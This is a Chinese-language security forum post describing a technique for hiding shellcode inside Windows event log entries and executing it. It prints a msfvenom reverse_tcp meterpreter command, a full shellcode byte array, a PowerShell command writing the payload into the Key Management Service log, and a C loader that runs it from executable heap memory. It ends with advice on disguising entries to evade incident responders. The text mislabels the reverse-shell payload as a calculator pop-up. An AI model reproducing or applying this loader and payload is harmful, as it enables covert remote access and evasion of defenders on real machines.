Windows事件日志“隐藏”Shellcode

camer   ·   发表于 2023-05-04 13:40:06   ·   技术文章

0x01 基本概述

Windows默认事件日志查看器为eventvwr.msc,能实现简单的使用,Win+R键后输入eventvwr回车即能打开。Windows主要的日志在“Windows 日志”中,该文件夹中包含所有Windows系统上的五个标准类别。比较常用的Windows日志有系统日志、安全日志、应用程序日志这三个日志内容。

  • 应用程序
  • 安全
  • Setup
  • 系统
  • Forwarded Events

事件查看器的另一个“应用程序和服务日志”文件夹里,包含Windows系统中其它各类重要服务组件的事件日志。Windows PowerShell日志在该集合中。

Windows事件日志文件实际上是以特定的数据结构的方式存储内容,每条记录事件的数据结构由9个字段组成,包括日志名称、来源、记录时间、事件ID、任务类别、级别、计算机、事件数据(EventData)等信息。其中事件数据仅支持消息和二进制数据

0x02 事件日志写入

我们可以使用PowerShell操作Windows事件日志,其中Write-EventLog命令可以将事件写入事件日志,参考微软官方文档(https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/write-eventlog?view=powershell-5.1) ,其中参数对应上面介绍的字段:

  1. Write-EventLog
  2. [-LogName] <String>
  3. [-Source] <String>
  4. [[-EntryType] <EventLogEntryType>]
  5. [-Category <Int16>]
  6. [-EventId] <Int32>
  7. [-Message] <String>
  8. [-RawData <Byte[]>]
  9. [-ComputerName <String>]
  10. [<CommonParameters>]

示例 1:将事件写入应用程序事件日志

  1. Write-EventLog -LogName "Application" -Source "MyApp" -EventID 3001 -EntryType Information -Message "MyApp added a user-requested feature to the display." -Category 1 -RawData 10,20

此命令将事件从 MyApp 源写入应用程序事件日志。

示例 2:将事件写入远程计算机的应用程序事件日志

  1. Write-EventLog -ComputerName "Server01" -LogName Application -Source "MyApp" -EventID 3001 -Message "MyApp added a user-requested feature to the display."

此命令将事件从 MyApp 源写入 Server01 远程计算机上的应用程序事件日志。

实际应用:

1、执行命令

  1. Write-EventLog -LogName Application -Source edge -EventID 65535 -EntryType Information -Category 0 -Message "Hello World!"

在事件查看器中,可以看到事件ID为65535的日志成功创建在应用程序日志中,消息为Hello World!

0x03 ShellCode加载

只需在Write-EventLog中使用-RawData参数,就可以在事件日志字段中包含二进制数据,而且必须将二进制数据作为字节数组传到-RawData参数中。我们可以将其包含数据的十六进制字符串转换为字节数组,然后再传递。

1、首先,使用msfvenom生成弹计算器 payload。输出格式为十六进制字符串

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=< LHOST > LPORT=< LPORT > -f hex

利用工具网站(http://gv99.com/text/hex2bytes.html) 转为字节数组

  1. $data = [Byte[]](0xFC, 0xE8, 0x8F, 0x00, 0x00, 0x00, 0x60, 0x31, 0xD2, 0x89, 0xE5, 0x64, 0x8B, 0x52, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x31, 0xFF, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x49, 0x75, 0xEF, 0x52, 0x8B, 0x52, 0x10, 0x8B, 0x42, 0x3C, 0x01, 0xD0, 0x57, 0x8B, 0x40, 0x78, 0x85, 0xC0, 0x74, 0x4C, 0x01, 0xD0, 0x50, 0x8B, 0x58, 0x20, 0x01, 0xD3, 0x8B, 0x48, 0x18, 0x85, 0xC9, 0x74, 0x3C, 0x49, 0x31, 0xFF, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xC0, 0xC1, 0xCF, 0x0D, 0xAC, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF4, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75, 0xE0, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x58, 0x5F, 0x5A, 0x8B, 0x12, 0xE9, 0x80, 0xFF, 0xFF, 0xFF, 0x5D, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x68, 0x4C, 0x77, 0x26, 0x07, 0x89, 0xE8, 0xFF, 0xD0, 0xB8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xC4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6B, 0x00, 0xFF, 0xD5, 0x6A, 0x0A, 0x68, 0x0A, 0xD3, 0x37, 0x04, 0x68, 0x02, 0x00, 0x1F, 0x57, 0x89, 0xE6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xEA, 0x0F, 0xDF, 0xE0, 0xFF, 0xD5, 0x97, 0x6A, 0x10, 0x56, 0x57, 0x68, 0x99, 0xA5, 0x74, 0x61, 0xFF, 0xD5, 0x85, 0xC0, 0x74, 0x0A, 0xFF, 0x4E, 0x08, 0x75, 0xEC, 0xE8, 0x67, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x6A, 0x04, 0x56, 0x57, 0x68, 0x02, 0xD9, 0xC8, 0x5F, 0xFF, 0xD5, 0x83, 0xF8, 0x00, 0x7E, 0x36, 0x8B, 0x36, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6A, 0x00, 0x68, 0x58, 0xA4, 0x53, 0xE5, 0xFF, 0xD5, 0x93, 0x53, 0x6A, 0x00, 0x56, 0x53, 0x57, 0x68, 0x02, 0xD9, 0xC8, 0x5F, 0xFF, 0xD5, 0x83, 0xF8, 0x00, 0x7D, 0x28, 0x58, 0x68, 0x00, 0x40, 0x00, 0x00, 0x6A, 0x00, 0x50, 0x68, 0x0B, 0x2F, 0x0F, 0x30, 0xFF, 0xD5, 0x57, 0x68, 0x75, 0x6E, 0x4D, 0x61, 0xFF, 0xD5, 0x5E, 0x5E, 0xFF, 0x0C, 0x24, 0x0F, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0xE9, 0x9B, 0xFF, 0xFF, 0xFF, 0x01, 0xC3, 0x29, 0xC6, 0x75, 0xC1, 0xC3, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x6A, 0x00, 0x53, 0xFF, 0xD5)

使用密钥管理服务日志和KmsRequests作为源进行事件日志写入

  1. Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data

执行shellcode

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
  5. #define BUFFER_SIZE 1024
  6. int main()
  7. {
  8. HANDLE hEventLog;
  9. LPCTSTR lpUNCServerName = NULL;
  10. LPCTSTR lpSourceName = TEXT("Key Management Service");
  11. DWORD dwReadFlags = EVENTLOG_BACKWARDS_READ | EVENTLOG_SEQUENTIAL_READ;
  12. DWORD dwRecordOffset = 0; //
  13. DWORD dwBytesRead = 0;
  14. DWORD dwMinimumBytesToRead = 0;
  15. DWORD dwTimeGenerated = 0;
  16. BYTE bBuffer[BUFFER_SIZE];
  17. EVENTLOGRECORD* pevlr = (EVENTLOGRECORD*)&bBuffer;
  18. // Open EventLog, Get Handler
  19. hEventLog = OpenEventLog(lpUNCServerName, lpSourceName);
  20. if (hEventLog == NULL)
  21. {
  22. printf("OpenEventLog failed (%d)\n", GetLastError());
  23. return 0;
  24. }
  25. // Read EventLog
  26. if (!ReadEventLog(hEventLog, dwReadFlags, dwRecordOffset, pevlr, BUFFER_SIZE, &dwBytesRead, &dwMinimumBytesToRead))
  27. {
  28. printf("ReadEventLog failed %d\n", GetLastError());
  29. return 0;
  30. }
  31. // Get TimeGenerated
  32. //dwTimeGenerated = ((EVENTLOGRECORD*)pevlr)->TimeGenerated;
  33. //Get Binary Data
  34. BYTE* pEventData = (BYTE*)pevlr + pevlr->DataOffset;
  35. //Loader
  36. HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
  37. void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
  38. memcpy(exec, pEventData, BUFFER_SIZE);
  39. ((void(*)())exec)();
  40. return 0;
  41. }

0x04 注意事项

用户限制
事件日志的写入权限问题。为了能在事件日志条目中存储有效负载,我们拿到的权限必须要能写入日志。
大小限制
需要注意的另一个限制是,事件日志中可以存储的数据量有大小限制。基于事件消息字符串的最大字符限制为31,839个字符。
持久性
在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\对应的日志名称下的条目中,存在一个EventMessageFile属性。如果在注入载荷的时候,事件ID不存在于该属性指定的源关联的事件消息文件中,则会出现下图这个日志消息:

为了能够更加的持久化不被发现,事件ID和级别等字段都应该伪装成日常日志的样子,以免被应急人员察觉到异常。

用户名金币积分时间理由
Track-聂风 70.00 0 2023-05-05 15:03:33 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2023-5-4 | 808 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.